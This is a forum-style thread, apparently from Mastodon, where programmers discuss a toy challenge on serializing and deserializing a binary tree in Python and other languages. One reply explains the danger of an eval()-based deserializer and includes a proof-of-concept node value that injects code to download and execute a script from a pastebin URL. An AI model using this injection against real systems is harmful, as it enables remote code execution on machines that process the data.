#toyprogrammingchallenge
#python Here's another freebie, I assume it is python specific because they start with a base of python code. But if it makes sense, try it in whatever language you like:
This problem was asked by Google.
Given the root to a binary tree, implement serialize(root), which serializes the tree into a string, and deserialize(s), which deserializes the string back into the tree.
For example, given the following Node class
class Node:
def __init__(self, val, left=None, right=None):
self.val = val
self.left = left
self.right = right
The following test should pass:
node = Node('root', Node('left', Node('left.left')), Node('right'))
assert deserialize(serialize(node)).left.left.val == 'left.left'
Here's a python solution
Need a better solution for deserialization than eval()
Unsafe code behaviour
@Absinthe Your implementation of serialize() can't handle nodes whose names contain quote marks. Ordinarily this would only cause it to output strings that deserialize() can't understand, but, since your implementation of deserialize() eval()s its argument, it's possible to execute arbitrary code on any machine attempting to deserialize(serialize()). For example:
node = Node("' + str(exec('import urllib.request; exec(urllib.request.urlopen(\\\'https://pastebin.com/raw/Tuh7jNbc\\\').read())')) + '")
deserialize(serialize(node));
Unsafe code behaviour
@khird kind of figured there were good reasons not to use eval, but what is an appropriate alternative?
@Absinthe I have hardly any experience with Python but I think you ought to write your own parser that reports an error on input that can't represent an actual tree (this is what I did in my solution, anyway). The other issue is making sure you escape any special characters in Node.val so your parser doesn't treat them as control characters.
#toyprogrammingchallenge
#Python @billstclair @namark @khird
I think there should be a nice recursive way to deserialize it similar to the way it gets serialized. I am thinking some way to have a deserializer that returns a Node from a string, but I need to do something like Node(value from serialized string), deserialize(for the left node), deserialize(for the right node)) ...
I don't know how to partially consume the string to get the left node, and then take up where it left off for the right node. I was thinking maybe using an index but that would have to be similar to a C static variable. or globalized somehow so that it maintained state. I am missing a python paradigm somewhere. :)
@Absinthe @billstclair @khird
This one seems like a really broad problem, as opposed to a simple puzzle, unless the solution is some cute python specific trick, in which case eval doesn't sound that bad.
Otherwise, since there are no restriction on the serialized data, the simplest solution I think would be to split the tree into 2 data structures:
- associative array of fixed size ids and values,
- breadth first linearisation of the tree with the fixed size ids
and de/serialize that.
@namark @billstclair @khird Tree serialization seems to be one of those things that is generally easy to do with recursion. And so I did it. However, with the thoughts of deserialization, I figured I could serialize it to it's own deserialization command and run eval. Both pylint and the whole of the boaty mcBoatface crowd agree that eval is almost never the right answer for anything :) So I figure I would like to have a "parallel" deserialization, but somehow I have to be able to traverse something recursively while maintaining state. Or at least keep my place through multiple calls. :)
@billstclair @namark @khird The leaf nodes would simply have a value, and left and right would be None
@Absinthe @billstclair @khird actually, thinking about it(instead of completely ignoring what you wrote before) can't the deserialize function accept an optional start point, and return the end point along with the node. Then you can feed the endpoint of the left child to the right child as a start.
If you have a cheap substring, it can replace the start parameter. Also the serializer can store the size of the left node, so that the right one doesn't have to wait for it.
@billstclair @namark @khird as it is the "value" was a string since it was indicative of where it was. So "root", "left" "left.left" and so forth. But left and right are Nodes as created by the Node class in the example
OK. That lets me dispense with parsing strings into numbers and other atomic types. I'll just make the value of a node be empty or a string, and the right and left sub-nodes can each be empty or another node.
I'm assuming it's acyclic, since that simplifies the walker, as it won't have to detect loops, but allowing cyclic networks as well isn't that big an issue, though in a pure functional language, it requires nodes to be referenced by unique ID, which is an index into a table storing each node's value, right, and left. I may implement it that way from the start, just so I only need to add the loop detection, not change the representation.
This is going to be fun!
I have the representation done, and serialization (as JSON). Breaking for lunch, and probably a nap; I didn't sleep enough last night.
It compiles, but I haven't run any of the code yet. The UI is still as comes with a new Ellie project.
https://ellie-app.com/6PmF9LHjL4va1
It’s normal to pass done state to a recursive call, and return a modified state. I didn't understand what forms the leaf values could take in that example. If somebody explains it, I’ll do it on Elm.